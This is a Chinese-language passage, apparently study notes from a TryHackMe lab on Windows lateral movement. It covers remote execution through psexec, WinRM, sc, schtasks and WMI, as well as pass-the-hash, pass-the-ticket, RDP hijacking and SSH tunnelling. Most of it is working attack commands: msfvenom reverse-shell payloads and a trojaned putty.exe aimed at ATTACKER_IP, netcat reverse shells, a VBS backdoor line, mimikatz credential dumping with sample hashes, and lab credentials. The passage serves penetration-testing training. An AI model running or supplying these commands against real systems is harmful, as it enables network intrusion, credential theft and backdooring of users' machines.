  3. 创建一些命名管道来处理 stdin/stdout/stderr。

psexec 解释

要运行 psexec,我们只需要提供远程主机所需的管理员凭据和我们要运行的命令

1
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
  • 使用 WinRM 创建远程进程
  • 端口: 5985/TCP(WinRM HTTP)或 5986/ TCP(WinRM HTTPS)
  • **所需组成员身份:**远程管理用户

Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。大多数 Windows Server 安装都会默认启用 WinRM,这使其成为一种有吸引力的攻击媒介。

要从命令行连接到远程 Powershell 会话,我们可以使用以下命令:

1
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

我们可以从 Powershell 实现相同的操作,但要传递不同的凭证,我们需要创建一个 PSCredential 对象:

1
2
3
4
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

一旦我们有了 PSCredential 对象,我们就可以使用 Enter-PSSession cmdlet 创建一个交互式会话:

1
Enter-PSSession -Computername TARGET -Credential $credential

Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。凭据也必须通过 PSCredential 对象传递:

1
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
  • 使用 sc远程 创建服务
  • 端口
    • 135/ TCP , 49152-65535/ TCP (DCE/RPC)
    • 445/ TCP(通过SMB命名管道的 RPC)
    • 139/ TCP(通过SMB命名管道的 RPC)
  • **所需组成员身份:**管理员

Windows 服务也可用来运行任意命令,因为它们在启动时会执行命令。虽然服务可执行文件在技术上与常规应用程序不同,但如果我们配置 Windows 服务来运行任何应用程序,它仍会执行该应用程序,然后失败。

我们可以使用 Windows 中的标准工具 sc.exe 在远程主机上创建服务。使用 sc 时,它将尝试通过以下几种方式通过 RPC 连接到服务控制管理器 (SVCCTL) 远程服务程序:

  1. 将使用 DCE/RPC 进行连接尝试。客户端将首先连接到端口 135 处的端点映射器 (EPM),该端口用作可用 RPC 端点的目录并请求有关 SVCCTL 服务程序的信息。然后,EPM 将使用 IP 和端口进行响应以连接到 SVCCTL,这通常是 49152-65535 范围内的动态端口。
  2. 通过 RPC 进行 svcctl
  3. 如果后一个连接失败,sc 将尝试通过SMB命名管道访问 SVCCTL ,无论是在端口 445(SMB)还是 139(SMB over NetBIOS)。
  4. 通过命名管道进行 svcctl

我们可以使用以下命令创建并启动名为“THMservice”的服务:

1
2
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

服务启动时将执行“net user”命令,在系统上创建一个新的本地用户。由于操作系统负责启动服务,因此您将无法查看命令输出。

要停止并删除该服务,我们可以执行以下命令:

1
2
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
  • 远程创建计划任务

我们可以使用的另一个 Windows 功能是计划任务。您可以使用 schtasks 远程创建和运行计划任务,该功能在任何 Windows 安装中都可用。要创建名为 THMtask1 的任务,我们可以使用以下命令:

1
2
3
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1"

我们将计划类型 (/sc) 设置为 ONCE,这意味着该任务只在指定的时间和日期运行一次。由于我们将手动运行该任务,因此开始日期 (/sd) 和开始时间 (/st) 并不重要。

由于系统将运行计划的任务,因此我们无法获得该命令的输出,这是一种盲目攻击。

最后,要删除计划任务,我们可以使用以下命令并自行清理:

1
schtasks /S TARGET /TN "THMtask1" /DELETE /F

示例

假设我们已经获取了一些具有管理访问权限的凭据:

用户: ZA.TRYHACKME.COM\t1_leonard.summers

密码: EZpass4ever

我们将展示如何使用sc.exe和这些凭据横向移动到 THMIIS ,使用 sc 在远程系统上创建用户(通过使用net user),但我们也可以上传任何我们想要执行的二进制文件并将其与创建的服务关联。但是,如果我们尝试使用此方法运行反向 shell,我们会注意到反向 shell 在执行后立即断开连接。原因是服务可执行文件与标准 .exe 文件不同,因此非服务可执行文件最终会被服务管理器几乎立即终止。幸运的是,msfvenom 支持该exe-service格式,它将把我们喜欢的任何有效载荷封装在功能齐全的服务可执行文件中,从而防止其被终止。

1
user@AttackBox$ msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe

我们将继续使用 t1_leonard.summers 凭证,通过 AttackBox 中的 smbclient 将我们的有效载荷上传到 THMIIS 的 ADMIN$ 共享:

1
2
user@AttackBox$ smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
putting file myservice.exe as \myservice.exe (0.0 kb/s) (average 0.0 kb/s)

一旦我们的可执行文件上传完毕,我们将在攻击者的机器上设置一个监听器来接收来自以下地址的反向 shell msfconsole

1
2
3
4
5
6
7
8
user@AttackBox$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.10.16:4444

1
user@AttackBox$ msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"

由于sc.exe不允许我们在命令中指定凭据,因此我们需要使用runas来生成具有 t1_leonard.summer 访问令牌的新 shell。不过,我们只能通过SSH访问该机器,因此如果我们尝试类似 的操作runas /netonly /user:ZA\t1_leonard.summers cmd.exe,新的命令提示符将在用户会话中生成,但我们无法访问它。为了解决这个问题,我们可以使用 runas 来生成具有 t1_leonard.summers 访问令牌的第二个反向 shell:

1
C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"

**注意:**请记住,由于您使用的runas是此/netonly选项,因此它不会检查提供的凭据是否有效,因此请确保正确输入密码。如果不这样做,访问被拒绝错误。

攻击机

1
user@AttackBox$ nc -lvp 4443

最后,使用 sc 继续远程创建一个新服务,并将其与我们上传的二进制文件关联:

1
2
C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249

请务必更改服务名称,以避免与其他学生发生冲突。

一旦启动服务,将接收到反向shell

使用WMI横向移动

Windows 管理规范 ( WMI )是基于 Web 的企业管理 (WBEM) 的 Windows 实现, WBEM是跨设备访问管理信息的企业标准。

简单来说,WMI 允许管理员执行标准管理任务,攻击者可以滥用这些任务以各种方式进行横向移动

从 Powershell连接到WMI

在使用 Powershell 命令连接到WMI之前,我们需要使用我们的用户和密码创建一个 PSCredential 对象。此对象将存储在 $credential 变量中,并在本任务的整个过程中使用:

1
2
3
4
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

然后,我们使用以下任一协议建立WMI会话:

  • DCOM: 将使用 RPC over IP 连接 WMI。此协议使用端口 135/ TCP和端口 49152-65535/ TCP,正如使用 sc.exe 时所解释的那样。
  • Wsman: WinRM 将用于连接到 WMI。此协议使用端口 5985/TCP(WinRM HTTP)或 5986/ TCP(WinRM HTTPS)。

要从 Powershell建立WMI会话,我们可以使用以下命令并将会话存储在 $Session 变量中,我们将在整个房间中使用不同的技术:

1
2
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

New-CimSessionOptioncmdlet 用于配置WMI会话的连接选项,包括连接协议。然后,选项和凭据将传递给该New-CimSessioncmdlet,以建立与远程主机的会话。

使用WMI创建远程进程

  • 端口:
    • 135/ TCP , 49152-65535/ TCP (DCERPC)
    • 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
  • **所需组成员身份:**管理员

我们可以利用 Windows 管理规范( WMI)从 Powershell 远程生成一个进程,向 Win32_Process 类发送WMI请求以在我们之前创建的会话下生成该进程:

1
2
3
4
5
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

请注意,WMI 不允许您查看任何命令的输出,但确实会默默地创建所需的进程。

在旧系统上,可以使用命令提示符中的 wmic 执行相同的操作:

1
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

使用WMI远程创建服务

  • 端口:
    • 135/ TCP , 49152-65535/ TCP (DCERPC)
    • 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
  • **所需组成员身份:**管理员

我们可以通过 Powershell 使用WMI创建服务。要创建名为 THMService2 的服务,我们可以使用以下命令:

1
2
3
4
5
6
7
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

然后,我们可以获取该服务的句柄并使用以下命令启动它:

1
2
3
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

最后,我们可以使用以下命令停止并删除该服务:

1
2
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

使用WMI远程创建计划任务

  • 端口:
    • 135/ TCP , 49152-65535/ TCP (DCERPC)
    • 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
  • **所需组成员身份:**管理员

我们可以使用 Windows 默认安装中的某些 cmdlet 创建和执行计划任务:

1
2
3
4
5
6
7
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

要删除使用过的计划任务,我们可以使用以下命令:

1
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

通过WMI安装 MSI 包

  • 端口:
    • 135/ TCP , 49152-65535/ TCP (DCERPC)
    • 5985/ TCP (WinRM HTTP) 或 5986/ TCP (WinRM HTTPS)
  • **所需组成员身份:**管理员

MSI 是安装程序使用的文件格式。如果我们可以将 MSI 包复制到目标系统,那么我们就可以使用 WMI 尝试为我们安装它。攻击者可以用任何可用的方法来复制该文件。 一旦 MSI 文件进入目标系统,我们就可以通过WMI调用 Win32_Product 类来尝试安装它:

1
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

我们可以在旧系统中使用 wmic 实现相同的功能:

1
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

示例:

用户: ZA.TRYHACKME.COM\t1_corine.waters

密码: Korine.1994

我们将展示如何使用这些凭据通过WMI和 MSI 包横向移动到THM -IIS

我们将首先使用攻击者机器上的 msfvenom 创建 MSI 有效负载:

1
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstaller.msi

然后我们使用SMB或任何其他可用方法复制有效载荷:

1
2
user@AttackBox$ smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
putting file myinstaller.msi as \myinstaller.msi (0.0 kb/s) (average 0.0 kb/s)

由于我们将有效载荷复制到了 ADMIN$ 共享,因此它将在服务器上的 C:\Windows\ 中可用。

我们启动一个处理程序来接收来自Metasploit的反向 shell :

1
2
3
4
5
6
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.10.16:4445

让我们从 Powershell 控制台针对 THMIIS启动WMI会话:

1
2
3
4
5
6
PS C:\> $username = 't1_corine.waters';
PS C:\> $password = 'Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

然后我们调用 Win32_Product 类的 Install 方法来触发有效负载:

1
PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

接收到反向shell

使用身份验证材料

若已成功获取用户 NTLM 哈希或 Kerberos 票证。您无需知道密码,就可以利用此项作为用户身份验证的手段。

NTLM身份验证

在深入研究实际的横向移动技术之前,让我们先来看看NTLM身份验证的工作原理:

NTLM 身份验证

  1. 客户端向其想要访问的服务器发送身份验证请求。
  2. 服务器生成一个随机数并将其作为挑战发送给客户端。
  3. 客户端将其NTLM密码哈希与质询(和其他已知数据)结合起来,生成对质询的响应并将其发送回服务器进行验证。
  4. 服务器将质询和响应都转发给域控制器进行验证。
  5. 域控制器使用该质询重新计算响应,并将其与客户端发送的初始响应进行比较。如果两者匹配,则客户端通过身份验证;否则,访问被拒绝。身份验证结果将发送回服务器。
  6. 服务器将认证结果转发给客户端。

**注意:**所述流程适用于使用域帐户的情况。如果使用本地帐户,服务器可以验证对质询的响应本身,而无需与域控制器交互,因为它已将密码哈希存储在其 SAM 上。

传递哈希

从我们已获得管理权限的主机提取凭据(通过使用 mimikatz 或类似工具)后,我们可能会获得可轻松破解的明文密码或哈希值。但是,如果我们不够幸运,我们最终会得到无法破解的NTLM密码哈希值。

虽然看起来我们无法真正使用这些哈希,但只要知道密码哈希,就可以响应身份验证期间发送的NTLM质询。这意味着我们可以在不需要知道明文密码的情况下进行身份验证。如果 Windows 域配置为使用 NTLM 身份验证,我们无需破解 NTLM 哈希,就可以传递哈希(PtH) 并成功进行身份验证。

要提取NTLM哈希,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希。

从本地 SAM提取NTLM哈希:

此方法仅允许您从计算机上的本地用户获取哈希值。域用户的哈希值不可用。

THMJMP2: Powershell

1
2
3
4
5
6
7
mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50

从 LSASS 内存中提取NTLM哈希:

此方法将允许您提取本地用户和最近登录到机器的任何域用户的任何NTLM哈希。

THMJMP2: Powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484

然后,我们可以使用提取的哈希值执行 PtH 攻击,方法是使用 mimikatz 在反向 shell(或任何其他你喜欢的命令)上为受害者用户注入访问令牌,如下所示:

1
2
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

请注意,我们曾经token::revert重新建立过我们原始的令牌权限,因为尝试使用提升的令牌传递哈希是行不通的。

这相当于使用runas /netonly哈希而不是密码,并将产生一个新的反向 shell,我们可以从中以受害者用户的身份启动任何命令。

为了接收反向 shell,我们应该在 AttackBox 上运行一个反向监听器:

攻击框

1
user@AttackBox$ nc -lvp 5555

有趣的是,如果你在此 shell 上运行 whoami 命令,它仍会显示执行 PtH 之前你使用的原始用户,但从这里运行的任何命令实际上都会使用我们使用 PtH 注入的凭据。

使用Linux传递哈希:

如果您可以访问 Linux 机器(例如 AttackBox),则有几种工具内置支持使用不同协议执行 PtH。根据可用的服务,您可以执行以下操作:

使用 PtH连接到RDP:

1
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

使用 PtH 通过 psexec 连接:

1
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

**注意:**只有 Linux 版本的 psexec 支持 PtH。

使用 PtH 连接到 WinRM:

1
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Kerberos身份验证

让我们快速了解一下Kerberos身份验证在 Windows 网络上的工作原理:

  1. 用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到密钥分发中心 (KDC) ,该服务通常安装在负责在网络上创建Kerberos票证的域控制器上。

    KDC 将创建并返回一个票据授予票据 ( TGT ),允许用户请求票据以访问特定服务,而无需将其凭据传递给服务本身。除了 TGT 之外,还会向用户提供会话密钥,用户将需要该密钥来生成后续请求。

    请注意, TGT是使用krbtgt帐户的密码哈希加密的,因此用户无法访问其内容。重要的是要知道加密的TGT包含会话密钥的副本作为其内容的一部分,并且 KDC 无需存储会话密钥,因为它可以通过解密TGT来恢复副本(如果需要)。

  2. Kerberos 获得 TGT

  3. 当用户想要连接到网络上的服务(如共享、网站或数据库)时,他们将使用其TGT向 KDC 请求票证授予服务 (TGS)。TGS 是仅允许连接到其创建的特定服务的票证。要请求 TGS,用户将发送使用会话密钥加密的用户名和时间戳,以及 TGT和服务**主体名称 (SPN),**后者指示我们打算访问的服务和服务器名称。

    因此,KDC 将向我们发送一个 TGS 和一个服务会话密钥,我们需要用它们来验证我们要访问的服务。TGS 使用服务所有者哈希加密。服务所有者是服务在其下运行的用户或机器帐户。TGS 在其加密内容中包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来访问它。

  4. Kerberos 获得 TGS

  5. 然后,TGS 可以发送到所需的服务以进行身份验证并建立连接。该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。

  6. Kerberos 身份验证

传递票证

有时可以使用 mimikatz 从 LSASS 内存中提取Kerberos票证和会话密钥。该过程通常要求我们在受攻击的机器上拥有 SYSTEM 权限,可以按如下方式完成:

1
2
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

请注意,如果我们只能访问票证而不能访问其对应的会话密钥,我们将无法使用该票证;因此,两者都是必需的。

虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数情况下,我们对 TGT 感兴趣,因为它们可用于请求访问用户被允许访问的任何服务。同时,TGS 仅适用于特定服务。提取 TGT 需要我们拥有管理员的凭据,并且可以使用低权限帐户(仅分配给该帐户的帐户)提取 TGS。

一旦我们提取了所需的票证,我们就可以使用以下命令将票证注入到当前会话中:

1
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi

在我们自己的会话中注入票证不需要管理员权限。此后,这些票证将可用于我们用于横向移动的任何工具。要检查票证是否已正确注入,可以使用 klist 命令:

THMJMP2: Powershell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
za\bob.jenkins@THMJMP2 C:\> klist

Current LogonId is 0:0x1e43562

Cached Tickets: (1)

#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com

传递哈希/传递密钥

这种攻击与PtH类似,但适用于Kerberos网络。

当用户请求 TGT 时,他们会发送一个使用从其密码派生的加密密钥加密的时间戳。用于派生此密钥的算法可以是DES(当前 Windows 版本默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有其中任何一个密钥,我们就可以向 KDC 请求 TGT,而无需实际密码,因此得名传递密钥 (PtK)

我们可以使用 mimikatz 通过以下命令从内存中获取Kerberos加密密钥:

1
2
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

根据可用的密钥,我们可以在 mimikatz 上运行以下命令,通过 Pass-the-Key 获取反向 shell(nc64为方便起见,THMJMP2 中已经提供):

如果我们有 RC4 哈希:

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES128 哈希:

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES256 哈希:

1
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希。这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求TGT 。这种特殊变体通常称为Overpass-the-Hash (OPtH)

为了接收反向 shell,我们应该在 AttackBox 上运行一个反向监听器:

1
user@AttackBox$ nc -lvp 5556

与 PtH 一样,从此 shell 运行的任何命令都将使用通过 mimikatz 注入的凭据。

滥用用户行为

在某些情况下,攻击者可以利用用户执行的操作来进一步访问网络中的机器。虽然发生这种情况的方式有很多种,但我们将讨论一些最常见的方式。

滥用可写共享

在检查公司环境时,发现合法用户用于执行日常任务的网络共享是很常见的。如果这些共享由于某种原因可写,攻击者可以植入特定文件,迫使用户执行任意有效负载并获得对其计算机的访问权限。

一种常见的情况是找到托管在网络共享上的脚本或可执行文件的快捷方式。

PuTTY lnk 文件

这样做的原理是,管理员可以在网络共享上维护一个可执行文件,用户可以执行它,而无需将应用程序复制或安装到每个用户的机器上。如果我们作为攻击者拥有此类脚本或可执行文件的写入权限,我们就可以对它们进行后门操作,迫使用户执行我们想要的任何有效载荷。

尽管脚本或可执行文件托管在服务器上,但当用户在其工作站上打开快捷方式时,可执行文件将从服务器复制到其%temp%文件夹并在工作站上执行。因此,任何有效负载都将在最终用户的工作站(和登录的用户帐户)的上下文中运行。

.vbs 脚本后门

举个例子,如果共享资源是一个 VBS 脚本,我们可以将 nc64.exe 的副本放在同一个共享上,并在共享脚本中注入以下代码:

1
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True

这会将 nc64.exe 从共享复制到用户的工作站%tmp%目录,并在用户打开共享的 VBS 脚本时将反向 shell 发送回攻击者。

.exe 文件后门

如果共享文件是 Windows 二进制文件,例如 putty.exe,则可以从共享中下载它并使用 msfvenom 向其中注入后门。二进制文件仍将照常工作,但会默默执行额外的有效负载。要创建带后门的 putty.exe,我们可以使用以下命令:

1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不知情的情况下执行 reverse_tcp meterpreter 有效负载。生成文件后,我们可以替换 Windows 共享上的可执行文件,并使用Metasploit中的 exploit/multi/handler 模块等待任何连接。

RDP劫持

当管理员使用远程桌面连接到计算机并关闭RDP客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果您在 Windows Server 2016 及更早版本上拥有 SYSTEM 权限,则可以接管任何现有的RDP会话而无需密码。

如果我们具有管理员级访问权限,我们可以通过任何我们喜欢的方法获取 SYSTEM 权限。目前,我们将使用 psexec 来执行此操作。首先,让我们以管理员身份运行 cmd.exe:

以管理员身份运行

从那里运行PsExec64.exe(可从 获得C:\tools\):

1
PsExec64.exe -s cmd.exe

要列出服务器上的现有会话,可以使用以下命令:

命令提示符

1
2
3
4
C:\> query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>administrator rdp-tcp#6 2 Active . 4/1/2022 4:09 AM
luke 3 Disc . 4/6/2022 6:51 AM

根据上面的命令输出,如果我们当前使用管理员用户通过RDPrdp-tcp#6连接,我们的 SESSIONNAME 将是。我们还可以看到名为 luke 的用户已打开一个会话,其 id 为3。 任何具有 Disc状态的会话都已被用户打开,目前未被使用。虽然您也可以接管活动会话,但当您这样做时,合法用户将被强制退出其会话,他们可能会注意到这一点。

要连接到会话,我们将使用 tscon.exe 并指定要接管的会话 ID 以及我们当前的 SESSIONNAME。按照前面的示例,如果我们以管理员用户身份连接,要接管 luke 的会话,我们将使用以下命令:

1
tscon 3 /dest:rdp-tcp#6

简单来说,该命令表明 luke 拥有的图形会话应该与管理员用户拥有的RDP会话3连接。

因此,我们将恢复 luke 的RDP会话并立即连接到它。

注意: Windows Server 2019 不允许您如果不知道密码就连接到其他用户的会话。

端口转发

我们介绍的大多数横向移动技术都需要攻击者可以使用特定端口。在实际网络中,管理员可能出于安全原因阻止了其中一些端口,或者在网络周围实施了分段,阻止您访问 SMB、RDP、WinRM 或 RPC 端口。

为了绕过这些限制,我们可以使用端口转发技术,即使用任何受感染的主机作为跳转箱来切换到其他主机。预计有些机器会比其他机器拥有更多的网络权限,因为企业中的每个角色对日常工作所需的网络服务都有不同的需求。

SSH隧道

我们将要研究的第一个协议是SSH ,因为它已经具有通过称为SSH隧道的功能进行端口转发的内置功能。虽然 SSH 曾经是与Linux系统相关的协议,但 Windows 现在默认附带 OpenSSH 客户端,因此您现在可以在许多系统中找到它,与操作系统无关。

SSH 隧道可以以不同的方式使用,通过 SSH 连接转发端口,我们将根据具体情况使用不同的方式。为了解释每种情况,我们假设一种情况,即我们已经获得了对 PC-1 计算机的控制权(不需要管理员访问权限),并希望将其用作枢纽,以访问我们无法直接连接的另一台计算机上的端口。我们将从 PC-1 计算机(充当 SSH 客户端)启动一条隧道,到攻击者的 PC(充当 SSH 服务器)。这样做的原因是,您通常会在 Windows 计算机上找到SSH客户端,但大多数时候没有可用的SSH服务器。

SSH 隧道

因为我们要重新连接攻击者的机器,所以我们需要在其中创建一个无法访问任何控制台的用户以建立隧道,并设置一个用于创建隧道的密码:

1
2
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

根据您的需要,SSH 隧道可用于进行本地或远程端口转发。让我们分别看一下。

SSH远程端口转发

在我们的示例中,假设防火墙策略阻止攻击者的机器直接访问服务器上的端口 3389。如果攻击者之前已经入侵了 PC-1,而 PC-1 又可以访问服务器的端口 3389,则可以使用 PC-1 的远程端口转发将其转移到端口 3389。远程端口转发允许您从SSH客户端(在本例中为 PC-1)获取可访问的端口并将其投射到远程SSH 服务器(攻击者的机器)中。

结果,攻击者的机器上将打开一个端口,该端口可用于通过SSH隧道连接回服务器中的端口 3389。PC-1 将依次代理连接,以便服务器可以看到所有流量,就好像它来自 PC-1 一样:

SSH 远程端口转发

此时可能会出现一个合理的问题,如果我们已经攻陷了 PC-1 并且可以直接从那里运行 RDP 会话,为什么我们需要端口转发。答案很简单:在我们只能通过控制台访问 PC-1 的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。通过使端口可供攻击者的计算机使用,您可以使用 Linux RDP 客户端进行连接。当您想对无法直接访问的端口运行漏洞利用时,也会出现类似的情况,因为您的漏洞利用可能需要一种特定的脚本语言,而这种语言可能并不总是在您攻陷的计算机上可用。

参考上图,为了将服务器上的 3389 端口转发回攻击者的机器,我们可以在 PC-1 上使用以下命令:

PC1:命令提示符

1
C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N

这将使用用户建立从 PC-1 到(攻击者 PC)的SSH会话。1.1.1.1``tunneluser

由于tunneluser不允许在攻击者电脑上运行 shell,我们需要ssh使用-N开关以阻止客户端请求,否则连接将立即退出。-Rswitch 用于请求远程端口转发,语法要求我们首先指出我们将在 SSH 服务器上打开的端口 (3389),然后是冒号,然后是我们将要转发的套接字的 IP 和端口 (3.3.3.3:3389)。请注意,端口号不需要匹配,尽管在本例中它们必须匹配。

该命令本身不会输出任何内容,但隧道将依赖于正在运行的命令。我们可以随时按 CTRL+C 来关闭隧道,就像使用任何其他命令一样。

一旦我们的隧道设置并运行,我们就可以进入攻击者的机器并通过RDP进入转发端口来到达服务器:

攻击机:

1
munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH本地端口转发

本地端口转发允许我们将 SSH 服务器的端口“拉”到 SSH 客户端。在我们的场景中,这可用于获取攻击者机器上可用的任何服务,并通过 PC-1 上的端口使其可用。这样,任何无法直接连接到攻击者 PC 但可以连接到 PC-1 的主机现在都能够通过枢纽主机访问攻击者的服务。

使用这种类型的端口转发可以让我们从通常无法连接回我们的主机运行反向 shell,或者简单地使任何我们想要的服务可供与我们没有直接连接的机器使用。

SSH 本地端口转发

为了从攻击者的机器转发端口 80 并使其在 PC-1 上可用,我们可以在 PC-1 上运行以下命令:

